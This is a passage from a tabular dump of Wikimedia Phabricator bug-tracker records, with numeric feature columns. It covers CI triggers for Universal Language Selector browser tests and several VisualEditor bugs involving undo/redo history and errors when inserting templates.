https://gerrit.wikimedia.org/r/97741",,,1385477743,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vzhy73evvtw5m5ueeyz3,task_subcomment,,True,c1,3,False,,,21,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,31.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,12.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.625,1.0,"Change 97741 merged by jenkins-bot:
ULS browsertests on check pipeline

GERRIT_URL"
240702,browsertests: triggers for ULS,"Change 97741 had a related patch set uploaded by Hashar:
ULS browsertests on check pipeline

https://gerrit.wikimedia.org/r/97741",,,1385477681,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vzhy73evvtw5m5ueeyz3,task_subcomment,,True,c1,3,False,,,21,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,21.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,11.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.7368421052631575,1.0,"Change 97741 had a related patch set uploaded by Hashar:
ULS browsertests on check pipeline

GERRIT_URL"
240695,browsertests: triggers for ULS,"The browser tests manage to pass with above change:

https://integration.wikimedia.org/ci/job/mwext-browsertests-UniversalLanguageSelector-phantomjs/27/consoleFull

With a nice HTML report:
https://integration.wikimedia.org/ci/job/mwext-browsertests-UniversalLanguageSelector-phantomjs/27/artifact/report.html

Whenever the change in comment #5 is merged in, I will validate with i18n team how to get it triggered by Zuul.",,,1385412598,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-vzhy73evvtw5m5ueeyz3,task_subcomment,,True,c1,3,True,,,21,,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,19.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,4.0,0.0,2.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,6.0,2.0,17.0,4.0,0.0,6.0,0.0,0.0,0.0,2.0,6.0,0.0,2.0,0.0,4.0,19.0,6.0,0.0,0.0,0.0,4.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,3.5319148936170213,0.8297872340425532,"The browser tests manage to pass with above change:

URL

With a nice HTML report:
URL

Whenever the change in comment #5 is merged in, I will validate with i18n team how to get it triggered by Zuul."
240687,browsertests: triggers for ULS,"Following a pair session with Željko, the tests can be flagged with a tag which we can then exclude when running tests. For ULS, I have introduced the tag @specific-settings which let us skip any tests that are not going to pass on a fresh wiki installation: https://gerrit.wikimedia.org/r/#/c/97487/",,,1385379817,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-vzhy73evvtw5m5ueeyz3,task_subcomment,,True,c1,3,True,,,21,,2.0,0.0,0.0,2.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,9.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,4.0,0.0,9.0,4.0,11.0,2.0,0.0,15.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,6.0,9.0,4.0,0.0,0.0,0.0,6.0,0.0,8.0,6.0,2.0,6.0,0.0,0.0,0.0,4.09433962264151,0.8301886792452831,"Following a pair session with Željko, the tests can be flagged with a tag which we can then exclude when running tests. For ULS, I have introduced the tagSCREEN_NAME-settings which let us skip any tests that are not going to pass on a fresh wiki installation: URL"
240680,browsertests: triggers for ULS,Moving this under Continuous Integration radar.,,,1380112899,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-vzhy73evvtw5m5ueeyz3,task_subcomment,,True,c1,3,True,,,12,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,43.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,6.0,1.0,Moving this under Continuous Integration radar.
240672,browsertests: triggers for ULS,Have added bug 53691 for the same for the VisualEditor repo.,,,1378156956,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-vzhy73evvtw5m5ueeyz3,task_subcomment,,True,c1,3,True,,,9,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,17.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,17.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.166666666666667,0.8333333333333334,Have added bug 53691 for the same for the VisualEditor repo.
240665,browsertests: triggers for ULS,What about running the tests on patch submission?,,,1377877531,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-vzhy73evvtw5m5ueeyz3,task_subcomment,,True,c1,3,True,,,8,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,4.666666666666667,1.0,What about running the tests on patch submission?
240659,browsertests: triggers for ULS,"Is this still something we want to do? ULS tests are now in ULS repo, so this should be doable. The only problem is that ULS tests are not stable enough:

https://wmf.ci.cloudbees.com/view/r-uls/",,,1377860181,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-vzhy73evvtw5m5ueeyz3,task_subcomment,,True,c1,3,True,,,8,,0.0,3.0,0.0,0.0,3.0,8.0,14.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,11.0,8.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,14.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,14.0,16.0,3.0,3.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,8.0,8.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4594594594594597,0.8648648648648649,"Is this still something we want to do? ULS tests are now in ULS repo, so this should be doable. The only problem is that ULS tests are not stable enough:

URL"
54113,VisualEditor: Undo keyboard shortcuts clear undo / redo history if pressed too often (And other fun),"Tested on Firefox 22 (Monobook) and Chrome 28 (Vector)

Steps to reproduce:
- Open any random page in the visual editor. Personally i used [[Botnet]].
- Add the word ""Test"" to the page.
- Press Ctrl + Z to undo the edit. Keep pressing till the edit is gone, then press it once more.

Once you have done this, the Redo button and the Redo shortcut (Ctrl+Shift+Z) no longer seem to restore the previous edits. Any subsequent edit seems to reset the undo / redo buttons to an ""There were no previous edits"" state.

Inconsistent results:

Besides the above result that i can always reproduce using these steps, i have seen various other results. I have seen each of these at least twice but no matter what i try, i cannot seem to find any method of reproducing these reliably.

- An entry in the console log stating ""Error: Cannot roll back a transaction that has not been committed ""
- An entry in the console log stating ""Error: Range error: Range is no longer valid after DOM mutation ([WrappedRange(""Zz"":1, ""Zz"":1)]) ""
- The redo button suddenly inserting ""♙"" once in Chrome.
- The undo button suddenly inserting an endless steam ""♙"" in Firefox.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=51532
https://bugzilla.wikimedia.org/show_bug.cgi?id=52185",High,80.0,1374869820,1376621406.0,PHID-USER-ohetl546bwt5ac2szu5w,False,,False,PHID-TASK-sqeh7jyki3euhm6uvc2p,task_description,resolved,True,c1,3,False,False,True,3,,1.3333333333333333,0.0,0.0,0.6666666666666666,1.0,4.333333333333333,0.0,0.0,0.0,0.0,1.6666666666666667,0.0,0.0,0.0,0.3333333333333333,2.0,0.3333333333333333,6.666666666666667,7.333333333333333,0.0,1.6666666666666667,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.3333333333333333,1.0,0.0,0.6666666666666666,3.0,1.3333333333333333,0.3333333333333333,1.3333333333333333,0.3333333333333333,1.0,0.0,0.0,0.0,0.3333333333333333,0.0,1.0,1.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,13.0,0.3333333333333333,1.0,0.0,0.3333333333333333,0.0,0.0,0.0,1.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,1.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,6.333333333333333,1.3333333333333333,14.666666666666666,1.3333333333333333,1.3333333333333333,9.333333333333334,0.0,0.0,0.0,0.0,4.333333333333333,0.0,0.6666666666666666,0.0,2.6666666666666665,7.333333333333333,7.333333333333333,0.0,4.333333333333333,0.0,2.6666666666666665,0.0,0.6666666666666666,1.6666666666666667,0.0,2.3333333333333335,0.6666666666666666,0.3333333333333333,1.3333333333333333,3.5578231292517004,0.6564625850340137,"Tested on Firefox 22 (Monobook) and Chrome 28 (Vector)

Steps to reproduce:
- Open any random page in the visual editor. Personally i used [[Botnet]].
- Add the word ""Test"" to the page.
- Press Ctrl + Z to undo the edit. Keep pressing till the edit is gone, then press it once more.

Once you have done this, the Redo button and the Redo shortcut (Ctrl+Shift+Z) no longer seem to restore the previous edits. Any subsequent edit seems to reset the undo / redo buttons to an ""There were no previous edits"" state.

Inconsistent results:

Besides the above result that i can always reproduce using these steps, i have seen various other results. I have seen each of these at least twice but no matter what i try, i cannot seem to find any method of reproducing these reliably.

- An entry in the console log stating ""Error: Cannot roll back a transaction that has not been committed ""
- An entry in the console log stating ""Error: Range error: Range is no longer valid after DOM mutation ([WrappedRange(""Zz"":1, ""Zz"":1)]) ""
- The redo button suddenly inserting ""♙"" once in Chrome.
- The undo button suddenly inserting an endless steam ""♙"" in Firefox.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL
URL"
240258,VisualEditor: Undo keyboard shortcuts clear undo / redo history if pressed too often (And other fun),Now merged into master; will be deployed in the next push.,,,1376621406,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-sqeh7jyki3euhm6uvc2p,task_subcomment,,True,c1,3,True,,,6,,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6923076923076925,1.0,Now merged into master; will be deployed in the next push.
240252,VisualEditor: Undo keyboard shortcuts clear undo / redo history if pressed too often (And other fun),"Change 79049 merged by jenkins-bot:
Check for past/future state in undo/redo before setting breakpoint

https://gerrit.wikimedia.org/r/79049",,,1376621086,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-sqeh7jyki3euhm6uvc2p,task_subcomment,,True,c1,3,False,,,6,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,17.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.25,0.9583333333333334,"Change 79049 merged by jenkins-bot:
Check for past/future state in undo/redo before setting breakpoint

GERRIT_URL"
240247,VisualEditor: Undo keyboard shortcuts clear undo / redo history if pressed too often (And other fun),"Change 79049 had a related patch set uploaded by Esanders:
Check for past/future state in undo/redo before setting breakpoint

https://gerrit.wikimedia.org/r/79049",,,1376488129,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-sqeh7jyki3euhm6uvc2p,task_subcomment,,True,c1,3,False,,,6,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,15.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.444444444444445,0.9629629629629629,"Change 79049 had a related patch set uploaded by Esanders:
Check for past/future state in undo/redo before setting breakpoint

GERRIT_URL"
240245,VisualEditor: Undo keyboard shortcuts clear undo / redo history if pressed too often (And other fun),It's obviusly inviting you to play chess :),,,1376487625,,PHID-USER-izojihzr4ja3jsgzn5wv,False,,,PHID-TASK-sqeh7jyki3euhm6uvc2p,task_subcomment,,True,c1,3,False,,,6,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,22.0,11.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,4.0,1.0,It's obviusly inviting you to play chess :)
240242,VisualEditor: Undo keyboard shortcuts clear undo / redo history if pressed too often (And other fun),I've reproduced a few of these permutations.,,,1374905493,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-sqeh7jyki3euhm6uvc2p,task_subcomment,,True,c1,3,False,,,3,,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,4.222222222222222,1.0,I've reproduced a few of these permutations.
54112,VisualEditor: Inserting template into slug throws JS error (causing dialogs to break),"Firefox 22 - Error console.

Tested on Firefox 22 (Monobook) and Chrome 28 (Vector)

Steps to reproduce:
1) Open the [[Martin J. Silverstein]] in the visual editor.
2) Click on the empty line between the ""Diplomatic posts"" and ""United States Ambassadors to Uruguay Uruguay"" template
3) Click the ""Transclusions"" button, add the ""Botnets"" template and apply the edit.
4) Try to use any button on the visual toolbar that creates a window, or try to open any existing item that creates a window. This will no longer be possible.

Console log:
- The added screenshot is the error console as seen in Firefox. On step 3 the ""DOM Offset"" error is added.
- On step 4 (And after every subsequent click on an element that creates a window) the ""Cannot create a window"" error will be added.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11357}",High,80.0,1374867180,1394224334.0,PHID-USER-ohetl546bwt5ac2szu5w,False,,False,PHID-TASK-7cagldmd3jobcif24ufn,task_description,declined,True,c1,3,False,False,False,3,,1.0,0.0,0.0,1.0,0.3333333333333333,3.0,0.6666666666666666,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.6666666666666667,5.333333333333333,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.6666666666666666,0.0,2.0,0.3333333333333333,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.3333333333333333,0.0,0.3333333333333333,0.0,1.0,0.0,10.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,1.0,0.0,6.333333333333333,1.6666666666666667,13.666666666666666,0.0,1.6666666666666667,7.666666666666667,0.0,0.0,0.0,0.0,4.666666666666667,0.0,2.3333333333333335,0.0,0.0,5.333333333333333,6.666666666666667,0.0,4.666666666666667,0.0,0.0,0.0,1.0,2.0,0.0,0.3333333333333333,0.0,0.0,2.0,3.5070422535211265,0.676056338028169,"Firefox 22 - Error console.

Tested on Firefox 22 (Monobook) and Chrome 28 (Vector)

Steps to reproduce:
1) Open the [[Martin J. Silverstein]] in the visual editor.
2) Click on the empty line between the ""Diplomatic posts"" and ""United States Ambassadors to Uruguay Uruguay"" template
3) Click the ""Transclusions"" button, add the ""Botnets"" template and apply the edit.
4) Try to use any button on the visual toolbar that creates a window, or try to open any existing item that creates a window. This will no longer be possible.

Console log:
- The added screenshot is the error console as seen in Firefox. On step 3 the ""DOM Offset"" error is added.
- On step 4 (And after every subsequent click on an element that creates a window) the ""Cannot create a window"" error will be added.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11357}"
240216,VisualEditor: Inserting template into slug throws JS error (causing dialogs to break),This appears to now be fixed - marking as WORKSFORME.,,,1394224334,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-7cagldmd3jobcif24ufn,task_subcomment,,True,c1,3,True,,,35,,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,18.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,4.0,1.0,This appears to now be fixed - marking as WORKSFORME.
240215,VisualEditor: Inserting template into slug throws JS error (causing dialogs to break),I can't reproduce this.,,,1383172136,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-7cagldmd3jobcif24ufn,task_subcomment,,True,c1,3,True,,,17,,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,17.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,1.0,I can't reproduce this.
240214,VisualEditor: Inserting template into slug throws JS error (causing dialogs to break),Thought we had fixed insertion into slugs in bug 44084 - has this re-surfaced?,,,1374879833,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-7cagldmd3jobcif24ufn,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,18.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.823529411764706,0.9411764705882353,Thought we had fixed insertion into slugs in bug 44084 - has this re-surfaced?
240212,VisualEditor: Inserting template into slug throws JS error (causing dialogs to break),"Having tested a few more scenario's it would seem that editing near templates in general causes console errors, though none of these seem to cause any lasting issues.

- Selecting the line mentioned in step 2 and pressing enter will return the console error ""TypeError: outermostNode is null""
- Typing a text under the bottom template of the page and then pressing backpace till the text and that template are gone will cause an error if that edit is undone afterwards:
-- ""Error: Range error: Range is no longer valid after DOM mutation ""
-- ""Error: Offset could not be translated to a DOM element and offset: 1405""

As mentioned before, neither of these errors seem to impact anything in the editor or the edit itself.",,,1374870395,,PHID-USER-ohetl546bwt5ac2szu5w,False,,,PHID-TASK-7cagldmd3jobcif24ufn,task_subcomment,,True,c1,3,False,,,3,,1.0,0.5,0.0,2.0,0.5,3.5,0.5,0.0,0.5,0.5,2.5,0.0,0.0,0.0,0.0,0.0,0.0,4.0,10.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,1.5,0.0,5.0,0.0,1.0,1.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.5,0.0,0.0,0.0,14.5,1.0,2.0,0.0,0.5,0.0,0.5,0.0,0.5,1.0,1.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,6.0,3.0,7.5,2.0,3.0,10.0,0.0,0.0,0.0,0.0,3.5,0.0,1.0,0.0,1.0,10.0,4.5,0.0,3.5,0.0,1.0,0.0,0.0,2.5,0.5,3.0,1.0,0.0,0.0,4.079600148093299,0.7752684191040355,"Having tested a few more scenario's it would seem that editing near templates in general causes console errors, though none of these seem to cause any lasting issues.

- Selecting the line mentioned in step 2 and pressing enter will return the console error ""TypeError: outermostNode is null""
- Typing a text under the bottom template of the page and then pressing backpace till the text and that template are gone will cause an error if that edit is undone afterwards:
-- ""Error: Range error: Range is no longer valid after DOM mutation ""
-- ""Error: Offset could not be translated to a DOM element and offset: 1405""

As mentioned before, neither of these errors seem to impact anything in the editor or the edit itself."
240209,VisualEditor: Inserting template into slug throws JS error (causing dialogs to break),"Relevant error: ""Error: Offset could not be translated to a DOM element and offset: 1407""

The inability to open other dialogs is because the error causes the first dialog to never close, and so opening other dialogs fails because VE thinks you've already got a dialog open.

Is this due to adding a transclusion in a slug, perhaps?",,,1374867555,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-7cagldmd3jobcif24ufn,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,1.0,1.0,9.0,3.0,3.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,7.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,9.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,1.0,1.0,0.0,0.0,0.0,10.0,4.0,10.0,3.0,3.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,1.0,10.0,4.0,1.0,3.0,0.0,1.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,3.9571428571428573,0.7285714285714285,"Relevant error: ""Error: Offset could not be translated to a DOM element and offset: 1407""

The inability to open other dialogs is because the error causes the first dialog to never close, and so opening other dialogs fails because VE thinks you've already got a dialog open.

Is this due to adding a transclusion in a slug, perhaps?"
54102,VisualEditor: Write newFromDocumentReplace so editing document slices is simple,"
--------------------------
**Version**: unspecified
**Severity**: major",High,80.0,1374855900,1380230165.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-oq4h4k5rxxh5mzsezcrf,task_description,resolved,True,c1,3,True,False,True,3,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.888888888888889,0.4444444444444444,"
--------------------------
**Version**: unspecified
**Severity**: major"
239685,VisualEditor: Write newFromDocumentReplace so editing document slices is simple,"Change 82790 merged by jenkins-bot:
Introduce newFromDocumentReplace() transaction builder

